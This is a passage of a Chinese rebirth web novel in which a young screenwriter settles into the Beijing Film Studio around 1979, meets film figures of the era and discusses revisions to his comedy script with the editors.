高远彻底放下了心,“挺好的,学什么专业不重要,重要的是有学上,有书读,将来才会有个好前途。妈,咱家今年喜事不断啊,一年就出了三个大学生,也算光宗耀祖了吧?” “算,当然得算。咱娘儿俩在家里偷偷说,老高家这回,祖坟上真冒青烟了。”老妈压低声音学蛐蛐叫。 高远乐不可支,这个时代里,人们大多是谨慎的。 革委会还没取消呢,哪句话没说对付,被有心人听了去,跑革委会告你一状,那才真叫个癞蛤蟆不咬人却恶心人。 老妈做了午饭,娘儿俩吃了,她又去上班了。 次日一早,雪下得没那么大了。 高远磨蹭到九点钟,才收拾了几件衣服胡乱塞进军挎里拎着出门,花一毛钱坐公交奔海淀。 深一脚浅一脚地来到北影厂门口,见梁晓声已经等在厂标底下了,一身雪花也不知道打把伞,他笑着打招呼道:“梁同志好,辛苦了。” “慢点走,慢点走,东西带得不多啊。”梁晓声伸手就要接高远的军挎。 “不用不用,我自己拎着就行。”高远拒绝了他的帮助。 “您别叫我梁同志了,听着生分,我比您虚长了几岁,托个大,叫您一声兄弟,成不?” “是我高攀了,您也别您您的了,咱兄弟俩今后平辈论交,我喊你梁大哥,你叫我兄弟也行,高远、小高、小远都行。” “那我就叫你小远,走吧小远,我领你进厂里转转。” 高远点点头,路过传达室,看一眼大爷。 大爷也发现了他,“诶小子,你的稿子被采用了?” 高远走过去,摸出一整包烟来递给大爷,笑着说:“托老您的福,剧本通过一审了,这不是喊我过来改稿了么,今后您老多关照着。” 大爷乐呵呵说道:“关照不敢当,缺个啥少个啥,来大爷这儿踅摸就成。” “得嘞,那我先谢谢您老了。”高远冲大爷拱拱手。 “去吧,进厂里好好瞧瞧,够你开眼的。”大爷这话,透着一股子身为北影人的优越感。 高远告辞离开,下雪路滑,没敢走得太快,跟梁晓声并排着慢悠悠在厂里逛了起来。 一边走,梁晓声一边给他介绍着,“瞧见那三栋楼没有,最中间那栋三层半就是办公楼了,厂领导们都在那栋楼里办公,咱们文学部和《电影创作》编辑部就驻扎在三楼。 两侧的裙楼分别驻扎着洗印部门和录音剪辑部门。” 第26章 牛大发了 北影厂面积很大,高远越逛越迷糊。 “办公楼后面是摄影棚,服装、道具、化妆部门的同事们大多数时间都在棚里面工作。” 梁晓声继续介绍着:“那些筒子楼是职工宿舍,食堂和澡堂也都在摄影棚那边,走,咱过去看看。” 高远对摄影棚还是很感兴趣的,他跟梁晓声一起走过去。 很遗憾,马上过年了,并没有剧组在棚里拍戏。 这边冷冷清清,很萧条的样子。 他也没碰到啥大腕儿。 梁晓声似乎看出了高远的疑惑,笑着说:“计划经济年代,厂里一年拍摄几部影片,首先要确定下来有多少剧本,然后向上级主管部门,也就是电影局进行汇报,最后等国家的指标。 只有指标下来了,国家拨款也下来了,才能正式建组进行影片的拍摄、制作工作。 所以,去年的所有拍摄工作结束后,到年底这边也就没人了。” 高远对这套程序一点都不了解,闻言他讶然道:“这么复杂啊?” “可不是咋的,程序太复杂了。不过你这个本子送来的很是时候,正好赶上厂里往电影局报今年的拍摄计划,如果顺利的话,你这部戏会是今年厂里开年第一部要拍的影片。” “那我可太荣幸了。” 两人在一栋七层高的楼下停住脚步。 抬头仰望着这栋高大建筑,梁晓声说道:“这就是咱厂的招待所了,进吧,我先带你安置下来。” 高远说声好,跟随梁晓声往里走,边走边好奇地问道:“梁大哥,导演、演员们都住在这儿吗?” 梁晓声一笑,说道:“确定下来要进行拍摄的影片,从前期筹备开始,导演、演员、剧务、摄像师、服装、化妆、道具等剧组成员们就都会在招待所入住了。 不过他们是八个人一间房,可不像你待遇这么高。” “导演也不能住单间?” “哈哈……导演自然是有住单间的待遇的,除了导演,全组也就只有编剧有住单间的资格了。用我们行话说,导演是一部电影的上帝,编剧是最接近上帝的人。” “受宠若惊,受宠若惊啊。” 两人抬腿上楼,从楼上走下来一个领着小姑娘的中年男子。 男子见了梁晓声主动打招呼:“小梁,外面还下吗?” 梁晓声驻足,笑着答道:“江老师好,下得不大,估计快停了。” 被称作江老师的男子也微笑着点头,表示知道了。 看一眼梁晓声身边的高远,江老师一拍脑门儿又问道:“小梁,这位就是咱们京城高考状元,和瞧这一家子的编剧高远同志吧?” 梁晓声笑着说:“您猜对了,没错儿,这就是高远。小高,这位是我们文学编辑部的组稿组长江淮延老师。我跟你说过,就是江老师把你这位编剧和高考状元联系到一起的。” 高远正在打量那个被江淮延牵着手的小姑娘,老觉得有点眼熟。 听了梁晓声的介绍,他缓过神来,主动伸出手,笑道:“江老师您好,我是高远,初来乍到,今后请多关照。” 江淮延握住他的手晃了晃,脸上如沐春风,道:“年少有为啊!我听说高远同志你才17岁?” “老师别喊我同志了,喊小高就行。过完年我就18了。”这几天老被别人称作“同志”,搞得高远很不自在。 江淮延哈哈一笑,说道:“18也是个小年轻,在你这个年纪写的作文能被《人民x报》刊登,全国也没几个人能做到。” “对我来说,确实是个巨大的荣誉,但是吧,刊登是刊登了,就是没给稿费。”高远开了句玩笑。 “没给稿费吗?不应该啊,回头我帮你问问,党报也不能白用你的文章不是。”江淮延认了真,主动表示要帮忙问一下。 高远瞪大了眼睛不置可否,还能这样吗? 江老师主动提出来要帮忙,他也不能拒绝,便说道:“那就给您添麻烦了。” 江淮延说都是小事儿。 小姑娘这时候拽了拽他的手,眨着一双清澈明亮的大眼睛好奇地望着高远,问道:“爸,他是高考状元吗?” 江淮延宠溺地摸摸她的头,笑道:“对啊,这位叔叔是咱京城今年的高考状元,珊珊要好好学习,向叔叔看齐,将来也考个状元。” 珊珊一笑,对高远说道:“我一定会努力学习,向叔叔看齐的。” 高远天雷滚滚,他也想起来这小姑娘是谁了,这是江珊啊。 十一岁的江珊小朋友还挺可爱的。 不过,我只比你大七岁啊,你喊我叔? 他苦笑道:“叫哥哥吧,我是60年的,叫叔就把我叫老了。” 见高远窘迫,梁晓声也乐得不行,还起哄道:“对,叫哥,叫哥显得亲。” 江珊懵住了,看看老父亲,又看看状元郎,一时不知道到底该如何称呼这位帅哥。 浓眉大眼的江淮延是个很随和的人,他说道:“好,那就叫哥哥,也确实,在我眼里,小高是个小字辈。” “哥哥好。”江珊从善如流,小小年纪就精通人情世故。 难怪你能在娱乐圈呼风唤雨、屹立不倒啊。 高远默默感慨了一句,也摸摸小姑娘的头,笑着说:“哥哥来得匆忙,没带啥礼物,回头给你补上哈。” 江珊狠狠点着头。 “不多聊了,小高你今天刚过来,让小梁先带你安置妥当了,回宿舍吧。对了,你那个本子我负责,具体要如何修改,明天上午咱俩再见个面详细聊。” “好的江老师,明天上午我去找您。” “上去吧。” 说完,江淮延领着江珊走了。 江珊还冲高远摆摆手,小声说着明天见。 把高远乐得不行。 哎呀,第一天来,就碰到了后世的一个腕儿,也算是小有收获了。 “暖暖的午后,闪过一片片粉红的衣裳,谁也载不走,那扇古老的窗,玲珑少年在岸上,守候一生的时光,为何没能做个你盼望的新娘……”高远哼着小曲往楼上走去。 梁晓声蹙了蹙眉,拽他一下,低声提醒道:“小高,在厂里改稿期间,你可得注意啊,这种靡靡之音可不能随便唱。” 这是靡靡之音吗? 这分明是江珊后世的成名曲。 高远猛然惊醒,在这个年代中,所有跟爱情沾边的歌曲,都会被打上“低级趣味”的标签。 港台流行音乐还没有大规模流入内地市场。 李奶奶明年才会录制的《乡恋》,虽然被称之为新时期中国大陆的第一首流行歌曲,却被整整压制了四年不允许她在公开场合演唱。 一直到1983年的第一届春晚,因为观众们的热情无比高涨,为了在春晚上听到这首歌差点把热线电话打爆了。 春晚导演黄一鹤在跟相关领导汇报了,经过领导同意后,才让李奶奶登台演唱。 算是解禁了。 严格意义上说,自己唱的这首《梦里水乡》就是非常标准的靡靡之音。 高远无奈一笑,说道:“我记住了梁大哥,您放心,我不会再唱了。” 梁晓声弹下舌,发出嘚儿地一声脆响,接着笑道:“别说,这歌还挺好听,曲调优美,合辙押韵,词也写得好,有一种,一种……” 高远接上话茬,“有一种青山依偎绿水,晚霞亲吻夕阳的意境,和少男少女对美好情感淋漓尽致的表达。” 梁晓声一拍大腿说道:“没错,就是这种意境,你总结得太到位了!这歌我从来没听过,谁写的?” 高远是个什么性格的人呢? 一句话就能概括:状元才,英雄胆,城墙厚的一张脸。 他臭不要脸地说道:“你都没听过,能是别人写的吗?” “你写的啊?” “昂。” “你牛大发了!” 第27章 队长,别开枪,是我! 高远的房间是403。 梁晓声掏出钥匙开了门,又把钥匙交给他,嘱咐他妥善保管,两人走了进去。 房间面积不大,12平米,内有一张单人床,一套桌椅,一个衣柜,靠墙摆放着一个单排沙发和一张茶几。 雪白的墙面上挂着镜子,镜子下面有个放着搪瓷脸盆的脸盆架。 梁晓声给他介绍道:“每层楼都有一间公共厕所,里间拉粑粑,外间的水池洗衣服。 吃饭统一在食堂,你万一改稿改得错过了饭点,或者晚上饿了,我建议你弄个电饭锅来,可以煮点挂面之类的。” 高远点点头,说:“成,回头我就去弄个电饭锅来。” “另外,桌子上有暖瓶,茶几抽屉里有茶杯、高末,懒得烧水你去食堂的时候顺便带回来就成,愿意烧水喝,回头我跟后勤申请个水壶,你自个儿烧也行。 切记,屋里不允许使用电炉子,那玩意儿太容易引发火灾了。” “好,我晓得了。” 这环境高远已经很满意了,起码每层都有厕所,再也不用二半夜的跑出去老远上公厕了,第二天也不用倒尿盆了。 他把军挎打开,将带来的换洗衣裳放在床上重新叠好,然后塞进衣柜里。 梁晓声热情地帮忙,见高远带来的东西属实有点少,就帮他把床铺整理了一遍。 高远问道:“梁大哥,我的原稿什么时候能给我?” 梁晓声说道:“刚才江老师不是说过了么,明天上午让你来主楼编辑部碰个面聊一聊,江老师把需要修改的地方告诉你后,就会把原稿一起给你了。 到时候也会告诉你稿子该如何修改的。 对了,还有一事儿我忘记跟你说了,你在厂里改稿这段时间,每天有两块钱生活补助。” 哎呀,不仅能白吃白住,还有钱拿呢。 难怪这年头儿文人待遇高,大家挤破头地往文化人圈子里面钻。 高远憨厚一笑,说道:“我在厂里这段时间,岂不是就把一个月的生活费都挣出来了。” 梁晓声哈哈大笑,“嗯,你去北大读书,第一个月的生活费肯定够了。” 忙了一阵儿,安顿好后也到了吃午饭的时间。 两人下楼奔食堂。 北影厂年前虽没了拍摄任务,但职工们仍旧坚守岗位。 来食堂吃饭的人很多。 据梁晓声介绍说,这些吃食堂的职工,多数是从外地调过来的,也有一些大学生毕业分配来厂的。 本地职工,很少有人在食堂吃饭。 不过也有特殊人物。 “你看那位,认识不?”梁晓声打了一个粗面馒头,要了碗免费的棒子面粥,在餐桌前坐下后努着嘴说道。 高远顺着他努嘴的方向看过去,嘿嘿笑了,这不是胡师傅么,也是恶霸地主黄世仁和南霸天。 他还有一个身份,陈小二的爹。 “认识认识,陈强老师。”高远脸上笑开了花。 这位可不得了,新中国成立后评选出来的“二十二大人民艺术家”之一。 “陈老师就喜欢吃食堂,没到饭点儿必能看到他的身影。 我跟你说啊,你别扩散,自个儿知道就行了,他们一家子都抠门儿,都算计到骨头缝里了。陈老师自个儿说,吃食堂可比在家做饭省太多钱了。 在家做饭,费工夫不说,油盐酱醋大米白面哪样不得花钱买。 吃食堂第一方便,第二,厂里每月给的补助花都花不完,两全其美,何乐而不为?” 梁晓声学得还挺像。 高远打了三两包子和一碗鸡蛋汤,见梁晓声只有一个杂合面馒头和一碗免费的粥,他心情挺复杂。 人都是有自尊心的。 高远装作没看见的,自顾自一口包子一口汤,还回应着,“我对陈老师的为人处事不了解,倒是对他饰演过的角色印象深刻。 我听说,陈老师在演话剧《白毛女》的时候,因为把黄世仁塑造的太活灵活现了,差点儿被当兵的一枪打死。 有没有这回事儿啊?” 梁晓声吃完馒头喝完粥就停止了进食,他点点头说道:“确有其事,要不是部队领导反应快,及时制止了那个兵,陈老师就有生命危险了。” 高远吃了三个包子就饱了,“梁大哥,我这实在是吃不下了,还剩几个包子,你帮着消化一下吧。” 梁晓声一愣,脸忽地红了起来,“这……合适么?” “这有什么不合适的?”高远把搪瓷饭缸往他面前推了推,说道:“浪费就是最大的犯罪,你看我连个电饭锅也没有,带回去晚上也没法热,你就当帮我忙了,把这几个包子消灭了吧。” 听他说得无比真诚,梁晓声点点头,拿起一个包子吃了起来。 自家人知自家事。 自己家里确实很困难,上有一个哥哥,下有两个弟弟一个妹妹,每月的工资多半都得接济家里,不然父母兄弟姐妹就吃不上饭。 这日子他已经过了八九年了,打建设兵团搬木头那时候起,每月四十块的工资就补贴家用。 虽然艰苦,只要家人能把日子过下去,他苦一点也心甘情愿。 梁晓声是一个极重感情的人。 他自然也清楚高远把包子给自己吃,是在变相地帮助他。 心里对高远涌起了一阵感激。 六个包子进了肚,久违的饱腹感让梁晓声差点流下泪来。 见他吃完,高远笑着说:“咱回吧,对了梁大哥,你在哪儿住啊?” 梁晓声站起身,边走边说:“我在你楼下,306号房。我那屋可不是单间,是跟编辑的一位老师合住的,欢迎你过来做客啊。” “没问题,我肯定经常去。” 两人走出食堂,刚走到招待所门口,冷不丁撞上一个人。 “眼珠子朝哪儿看呢?没见这么一大高个儿杵在这儿呢么?”被撞那人操着一口京片子冲高远喷口水。 高远一抬头,见是这位,立马就忍不住笑了。 他不光笑,还想来一嗓子:“队长,别开枪,是我!” 这鼻子,这眼睛,这脑袋瓜子,那是几千年才出一个呀。 这张脸,给全国人民带来多少欢笑,给60后、70后、80后带来多少美好的回忆。 高远见了这会儿还一脑袋浓密头发的陈小二,除了感到有点奇妙,也咋看咋别扭。 “对不住,对不住,光顾着和梁老师聊天,确实没看道,没把您撞伤吧?要不要去医院里瞧瞧?”高远心里锣鼓喧天,脸上却一副抱歉和关怀备至的样子。 陈佩斯一扭头,见梁晓声站在旁边,这才咧嘴一笑,“哦,小梁啊,我正找你呢。这是你朋友?” 第28章 陈小二的请求 梁晓声忙说道:“是啊佩斯,给您介绍一下,这是我朋友高远,小高写了个本子被我们编辑部相中了,邀请他过来改稿。 刚才不好意思啊,我俩光顾着说话了,没留神撞到你了。” 陈佩斯两只眼睛眯成了一条缝,嘴角扯得弧度特夸张,露出满口白牙,嗓音尖锐得跟敬事房大总管似的,“没关系没关系,我这体格子,碰一下不迷糊。 小高你好啊,很高兴认识你。” 你这是有事相求吧,热情得超乎寻常。 高远伸手跟他一握,也笑道:“陈老师您好,我也很高兴与您相识。” “老师可不敢当,担不起这个称呼。”陈佩斯果然有事,他听《电影创作》编辑部的郑伟说,他们元旦前收到一份投稿,是个喜剧本子。 那故事虽说还稍显单薄,但整体框架已经搭建起来了,幽默中又带着几分对这个社会的思考。 编辑部的几位同事看完后笑得都喘不上气儿来了,一致认为可以好好做一下。 郑伟还对陈佩斯说,编剧这故事是通过一对父子来展现的,他鼓动陈佩斯去见见编剧,若是能得到编剧的认可,你和老爷子一起上阵,你也就离出名不远了。 这番话勾起了陈佩斯那颗本就蠢蠢欲动的心,得知编剧同志今天进厂了,他就找了过来。 听说编剧同志和梁晓声去食堂吃午饭了,他就耐心等待着,已经在招待所楼底下徘徊半个多小时了。 如今见了高远,陈佩斯却有点张不开嘴了,只是一个劲儿的傻笑。 梁晓声打破了尴尬的局面,主动问道:“您刚才说正找我,您找我有事?” 陈佩斯搓搓手,这才踯躅着说道:“我听你们编辑部的老郑说,有个本子挺不错的,负责跟编剧对接的人是老兄你,就冒昧过来问一句,有没有适合我的角色啊?” 梁晓声显然没想到陈佩斯会提这件事情,他看看高远,明白过来,人家就不是冲自个儿来的,这是要跟编剧面谈,自个儿就是个借口。 陈小二啊陈小二,丫居然拿我当枪使。 你也忒不厚道了! 他笑了笑,说道:“我说了不算啊,小高才是《瞧这一家子》的编剧,您想要争取角色,找他才是找对人了。” 陈佩斯嘿嘿笑着冲高远挑眉。 高远心里早就乐开花了。 他心说,你这可是主动入瓮的。 其实,我写着本子,就是冲你们父子俩来的。 “这天儿也太冷了,陈大哥,咱楼上聊吧。”高远邀请陈佩斯上楼。 “诶,诶,好啊,去屋里聊,屋里暖和。”陈佩斯有些迫不及待。 他自幼深受父亲的影响,酷爱表演,热衷于模仿父亲电影中的动作与表情。 但时运不济,父亲被打倒后,他也跟随父亲去蒙地军垦农场接受再教育。 后来他报考京城军区文工团、总政话剧团,由于父亲还没被解放,都没录取他。 一直到73年初,八一电影厂招收演员,他赶回京报了名,通过考试后才被录取。 但他在厂期间并没得到多少机会,只在影片《万水千山》中演了个匪兵乙。 他沮丧,无奈,越发渴望成名。 所以,一听说北影厂收了个好剧本,他就着急忙慌地找了过来。 三人走到四楼。 高远掏出钥匙开了锁。 推门进去后,打量着单间内的陈设,陈佩斯说道:“嚯!北影厂就是阔气,提供的住宿条件相当不错啊。” “陈大哥快坐。”高远把他让到沙发上坐下,拉开茶几抽屉取出茶杯、高末,边张罗着泡茶边说道:“是啊,比我住胡同强多了,起码不用每天一大早去倒尿盆了。” 陈佩斯乐不可支,又咧开嘴笑,捧了一句道:“小高你是个懂幽默的。” “那必须的,要不然也写不出那么优秀的作品来。”梁晓声也称赞了一句。 “您二位过奖了。”高远走回来,给两位递上茶杯。 陈佩斯接过茶杯,面色忽地一囧,说道:“您瞧我,不周全了,初次登门拜访就空着手,还白饶你一杯茶,实在是不好意思啊。” 我还不知道你,你跟老茂吃饭从来就没付过钱。 只用一句话就能概括你抠门的神境界:你就是个尿尿撇油,拉屎蘸豆腐吃的主儿。 高远默默吐槽了一句,脸上却是一副不以为意的神色,“嗐,您不用太客气了,我这儿家伙事儿虽说不齐全,慢慢补齐就成,您得空就常来坐坐,带东西就见外了。” 这话听着……有点讽刺的味道啊。 陈佩斯不自然地笑了笑。 他没脸没皮惯了,很快又变的貌似憨厚起来。 “书接上回,冒昧问一句,小高,您创作的剧本,我听说特好,贼逗乐儿,您看,有适合我出演的角色没?”陈佩斯没憋住,开口问道。 高远也是个爽快人,道:“我觉得,男主角胡嘉奇可太适合您饰演了,曙光毛纺厂车间主任老胡,也符合陈强老师的气质,如果您父子俩能参演,将是我莫大的荣幸。 当然,这只是我的个人意见,想必陈大哥也知道,选角这事儿,最终还得导演定。 我作为编剧,也只能给导演提供一点建议。” 听了高远前半句话,陈佩斯喜上眉梢,听完他后半句,他心凉了半截,唏嘘道:“我毕竟是八一厂的人,不用想都知道,您这部片子一旦开始筹备了,导演也肯定首选自家演员。” “您不是厂里的职工,但老爷子是啊。”高远提点了一句。 “您是说,让我家老爷子去疏通疏通关系?”他眼睛又亮了。 “我觉得成,陈老师在厂里工作多年,又是人民的艺术家,这点儿面子还是有的。”梁晓声喝口茶,继续说道:“其实佩斯你有点急了,眼下还没定稿呢,定稿后才能确定由哪位导演来执导这部影片。 当然我也理解您急切的心情,但这事儿吧,不是着急就能办成的。 我建议您,先回家跟陈老师知会一声,听听陈老师的意见。 等定稿了,陈老师对这个本子也感兴趣,您再发动他去找找关系也不晚。” “言之有理啊,那得嘞,就按您二位说的办,我就不多打扰了,回家跟老爷子碰个面聊一聊。”陈佩斯站起身,笑着说道。 “我送您。”高远也站了起来。 “留步留步,兄弟,剧本定稿后,拿给哥瞻一眼哈。”陈佩斯拦住高远,不让他往外送自己,走之前又提了个小要求。 高远直乐呵,从小高到兄弟,称呼变化也太快了,再过几年怕是您得喊我高老师了。 “没问题啊,定稿后我肯定会请您提意见的。” “不敢不敢,共同探讨,共同进步吧。” 陈佩斯告辞离开了。 梁晓声喝了两杯茶后也出了门,他还要回文学编辑部上班。 两人走后,高远没事儿干了。 他往桌子前一坐,琢磨起《瞧这一家子》的剧本来。 上辈子,这个剧本是王好为导演在很偶然的情况下发现的。 编剧林力原本就是北影厂电力车间的一名员工,他玩票性质写了这么一个作品,自个儿也没想到会被王好为导演看中。 当然,这会儿他还没写出来。 剧本最初也不叫《瞧这一家子》,叫《爸爸,妈妈和我》,王导觉得不合适,因为故事中还有姐姐、姐夫等很多角色。 就改成了很口语化的名字,这才有了《瞧这一家子》这部经典影片。 高远思维发散,又想到明天和江淮延碰面,他会给自己提哪些修改要求呢? 想了半天也没想明白,索性不往深里琢磨了。 房间里有几本杂志,包括上影厂的《电影新作》和峨影厂的《电影作品》,和北影厂的《电影创作》异曲同工,都是接受电影投稿的刊物。 高远一下午都在研究这几本刊物,没发现什么特别出彩的故事,随手丢在桌子上,嘀咕道:“不值一提!” 梁晓声结束了一天的工作,过来喊高远去食堂吃完饭。 两人又下楼奔食堂饱餐了一顿。 高远仍旧多打了一些饭,然后以吃不完的烂借口匀给梁晓声一半。 梁晓声还是有些不好意思,却也没拒绝小兄弟的好意。 吃饭期间,高远看到了很多名人,他没主动凑过去打招呼,太掉价了。 但北影厂很多人都知道他了,京城高考状元,17岁,高考作文被《人民x报》刊登,考完后创作了一部轻喜剧,投稿《电影创作》被选中。 年轻、帅气、惊才艳艳! 有几个女同志偷摸打量他。 也有胆子大的,比如李秀明,主动过来结识一下。 “嗨,我叫李秀明,你就是那个年轻编剧啊。”姑娘热辣大方地跟高远打招呼。 哦,北影厂三朵金花之一。 高远笑着站起身,客气道:“您好,我就是那个年轻编剧,我叫高远。” 李秀明嘻嘻一笑,说道:“长得真好看,有对象了没?” 高远一脸懵,这大姐挺自来熟啊,第一次见面就打听个人隐私问题,你想干嘛? “我还小,没考虑过这个问题。” “嘁,我才不信呢,我可是看过你写的那剧本的,里面那么多情情爱爱的故事,你说自己没对象,怎么可能描写得那么深刻? 得,不愿意说就算了,回见吧您呐。” 她甩哒甩哒转身走了。 这姑娘,真有个性。 高远嘀咕了一句。 第29章 编辑们的建议 “聪明人。”打水回来的梁晓声望着李秀明离开的背影喃喃自语,又像是故意说给高远听似的。 高远接过一把暖水瓶,笑着问道:“梁大哥何出此言?” 梁晓声转身往外面走,边走边低声说道:“她表现得还不够明显吗?你以为她主动过来跟你搭话是为了啥?她自个儿都承认看过你写的剧本了,肯定是奔着剧本中某个女角色来的。” 高远回过味儿来,苦笑道:“你们北影厂……还真是竞争激烈啊。” 梁晓声哈哈大笑,“名利场是是非圈,也是个充满虚荣的场所,进了这个圈子,人们就会陷入到无休止的攀比和竞争当中,为了争夺名声和利益,男男女女,智计百出,甚至是采用一些不那么光彩的手段,也就不新鲜了。” “梁大哥看得透彻。” “倒也不是我看得有多透彻,你在这个圈子里待久了慢慢就会了解的。别说北影厂了,这种不正当竞争现象在其他电影制片厂里也屡见不鲜。” 高远心说,我知道啊,上辈子就知道。 什么潜规则,饭圈文化,金主爸爸,金主爸爸和干女儿不得不说的故事,阿姨我不想努力了巴拉巴拉…… 那才叫乱套。 这年头即便是有一些不正当竞争的现象,那也比后世干净多了,起码不会摆在明面上。 大家还是顾及一些脸面的。 两人上了楼。 梁晓声没去高远房间里聊天,嘱咐他明天别耽搁了跟江淮延见面一事,就回了自己房间休息。 高远也回到屋里,打了小半盆凉水回来,兑上热水洗了脚,又把洗脚水倒了,脱衣服上了床。 一夜好眠。 次日天气彻底放晴。 高远溜达到楼下后看见,厂里正组织职工们打扫积雪。 一个个甩开肩膀干得热火朝天。 高远走过去,对梁晓声说道:“梁大哥,从哪儿领工具啊,我也帮把手。” 梁晓声刚想说话,被江淮延抢了先,“大编剧的手可不是干脏活的,吃饭去吧你,早吃完咱们早些开始。” 高远嘿嘿一笑,说道:“您也太夸张了,这活儿在家时我可没少干。” 他不由分说抢了江淮延的扫把,双肩下沉,垫步凌腰,把扫把挥舞的虎虎生风。 江淮延一瞧,乐了,“嘿,瞧你这架势,还真不是吹的。” 不远处,一个两鬓斑白,戴着花镜的老头儿张望过来,刚好看到高远挥舞扫把的一幕。 他笑了,问身边的陈强道:“那个小伙子就是最近炙手可热的高远吧?” 陈强笑着说:“是他,高考状元,文坛新星,我家二子对他推崇备至,说小伙子很有才华。今儿一看,人品也不错啊,还知道帮忙扫雪。” “愿意主动帮忙打扫卫生的年轻人可不多见喽,小伙子不错,不仅有才华,也踏实肯干。” “厂长,你不会又起爱才之心了吧?我劝你还是别打这个歪主意了,人家小伙子是要去上大学的,还是北大,你想要收编他,没那个可能性,他绝对不会成为第二个刘小庆。” 跟陈强交流的老头儿叫汪阳,是北影厂的党委书记兼厂长。 陈强说,高远不会成为第二个刘小庆是因为,刘小庆就是被汪阳花了八万块钱从峨影厂挖过来的。 但你想把高远挖过来就不现实了,人家要上名牌大学。 你以为,给北大八万块,北大就会放人吗? 别说北大不同意,高远自个儿也答应啊。 汪阳闻言哈哈大笑,“你个老东西啊,还真摸准了我的脉,北影厂时至今日,最缺的就是才华横溢的年轻人。 收编不过来不要紧,完全可以合作嘛。 当然,前提条件是他创作的剧本质量没得挑,如果质量不行,双方合作也就无从谈起了。” “快得了吧,人家小高创作的剧本你又不是没看过,连你都说,水准上乘,你想跟人家合作,首先得拿出诚意来啊,到现在也没见你提给人家多少稿费。 依我看,你也别一厢情愿了,人家小高再写个本子,还愿不愿意继续跟你合作都两说着。” 陈强毫不留情地打击汪阳。 汪厂长尴尬一笑,沉吟片刻后说道:“你说的没错,是应该考虑考虑给小高支付多少稿费的问题了。” 高远丝毫不知道,两位老同志正在就付给他多少稿费有这么一番交谈。 他和编辑部的几位编辑把分配的地段打算干净,去后勤那边归还了铁锨、扫把、独轮车等物,方才去了食堂吃早饭。 今天早上的表现,让文学部这几位编辑对他好感倍增,全都跟他坐在了一张餐桌上。 施雯心老太太还把自个儿的煮鸡蛋剥好皮后放进高远碗里,温和笑着地说道:“年轻人多吃一点,吃饱喝足了才有脑力搞创作。” 刚才江淮延已经给高远介绍过几位了。 施雯心可了不得,54年就在北影厂工作了,是厂里年纪最长,资历最老的职工,也是文学部主任。 她还有两个身份,一个是葛存壮的老伴儿,一个是葛优他妈。 看着慈眉善目的小老太太,高远笑着说:“得您厚爱,小子我诚惶诚恐啊。老话说,长者赐不敢辞,这个鸡蛋我就得着了,明天早饭还您俩。” 一句话把老太太逗得眉眼都开花了,“好一句长者赐不敢辞,小高的文学素养连我这个入行几十年的老太太都刮目相看了。” 江淮延点头笑道:“是啊,名言警句信手拈来,仿佛镌刻在脑子里一般,年轻人,了不得。主任,在这么优秀的年轻人面前,咱们不得不承认,老喽。” “教员都说过嘛,世界是我们的,也是你们的,但终究是你们的。一个人从年轻到衰老是自然规律,我都能看得开,你个年富力强的家伙有什么看不开的? 无病呻吟!”施雯心点了江淮延一句。 在场的各位都笑了起来。 吃完早饭,高远跟随文学部这几位去主楼。 三楼东侧是文学部和《电影创作》的办公区域。 几人进了一间小会议室。 江淮延开门见山,“小高,把你喊过来,目的是正式聊聊你这个本子。” 他把剧本递给了高远,见他接过去,满脸郑重地点着头,江淮延继续说:“剧本我们都看过了,不得不承认,它很成熟,也很优秀。 你创作的也很巧妙,用父子之间思想上的激烈碰撞来推动整个故事的发展,以喜剧的形式诙谐地展现了一个个小人物的酸甜苦辣。 这是故事好的一面……” 江淮延顿了顿,端起茶缸子喝口高末。 高远苦笑道:“您说但是吧。” 江淮延差点儿喷出来,呛得大声咳嗽起来。 诸位编辑又笑了。 施雯心接过话茬来,笑着说道:“既然你看出来了,我承认我们是有些顾虑的,你创作的这个故事,从救错人、念错字、跳错舞到最后的认错媳妇,所有的笑点都由错位产生,此为呼应时代转变所产生的不适与荒诞。 内核是转变、解放思想,反转错位。 这点要提出表扬。 但是,故事中大量描写了爱情和追逐爱情,小高你应该知道,在这个时代中公然表现爱情意味着什么。 这也是我们担忧的地方,说实话,我们讨论了十几天,才决定把你喊过来认真聊一次的。” 高远面色严肃地点着头,表示明白,“您直说,需要我怎么修改?” 施雯心看着他,越看越喜爱,这孩子是个知分寸懂礼貌的,还一点就透,这点殊为难得。 “故事以笑为手段,适当地夸张了人物的性格和关系,揭示出新时代人们的不同思想风貌,这点是值得肯定的。但也不能为了笑而笑,那就太低级了。 除了幽默和爱情,故事还要展现大爱。 我们的改稿建议是,故事最后的落脚点一定要落在推动科技进步的层面上。”施雯心提点道。 高远乐了,这是他故意留下的一个扣子,目的就是为了让老师们批评指正的。 在故事的最后,他并没有交代郁林和嘉英实验的光电探纬仪有没有研发成功,多少有点烂尾的意思。 还真被几位老师看出来了。 高远说道:“我明白您和各位老师的意思了,故事最后,郁林和嘉英的光电探纬仪研发实验成功了,提高了厂里的产品质量,然后两人举行了婚礼。” “这就对上味儿了。”江淮延一拍桌子激动地说道。 施雯心也满意地点点头,说道:“就这么改吧,你再写一版结局,我看就能通过了。小高,你需要多长时间来完成稿件的修改工作?” 高远心说,我希望在厂里住到开学的前一天,先把开学后头一个月的生活费挣出来最好不过了。 但他也知道这不现实,遂笑道:“年前我就能全部修改完。” 施雯心很开明,笑着说:“倒也不那么着急,你也没必要每天都闷在屋子里面,多出门活动活动,劳逸结合,才能创作出人民群众喜闻乐见的优秀作品来。” 高远腼腆一笑,“我听您的。” 第30章 白嫖 施雯心再次满意地点点头,说道:“那就回去改剧本吧。” 高远说好,拿着剧本起身,冲几位编辑老师点点头,转身向会议室外面走。 “对了,小高你等等。”江淮延喊住了他。 高远又转回了身子,“江老师还有别的吩咐?” 江淮延走过来,从中山装内兜里取出一张汇款单递给高远,笑着说:“你那篇作文不到一千字,《人民x报》还算局气,按照一千字整数给你结算的稿费。 喏,钱不多,7块整,拿着吧。” “您还真帮我要来了呀。” 这可是重生后的第一笔文字变现,高远喜出望外。 “这又什么好惊讶的,作文是你凭能力写出来,报纸上既然刊登了,就没理由不给稿费。我也就是顺带着问了一句,赶巧了,报社正打算把汇款单寄给你呢,我跟编辑部说,甭费那个劲了,派个人直接送北影厂来吧。 今儿一大早,他们就派人送我这里来了。收着吧,这张汇款单还挺有纪念意义的。” 江淮延解释了几句。 高远明白他的意思,把汇款单接过来,郑而重之放进内兜,笑着说:“这是我第一次收到稿费,这笔钱我就不取了,我会把这张汇款单珍藏起来的。” 见他懂自己的意思,江淮延也很高兴,拍拍他的胳膊,勉励道:“小伙子好好写,你将来前途无量。” 高远嘿嘿笑着,见他没有其他吩咐了,转身出了门。 回到房间,高远有一种白嫖的快感。 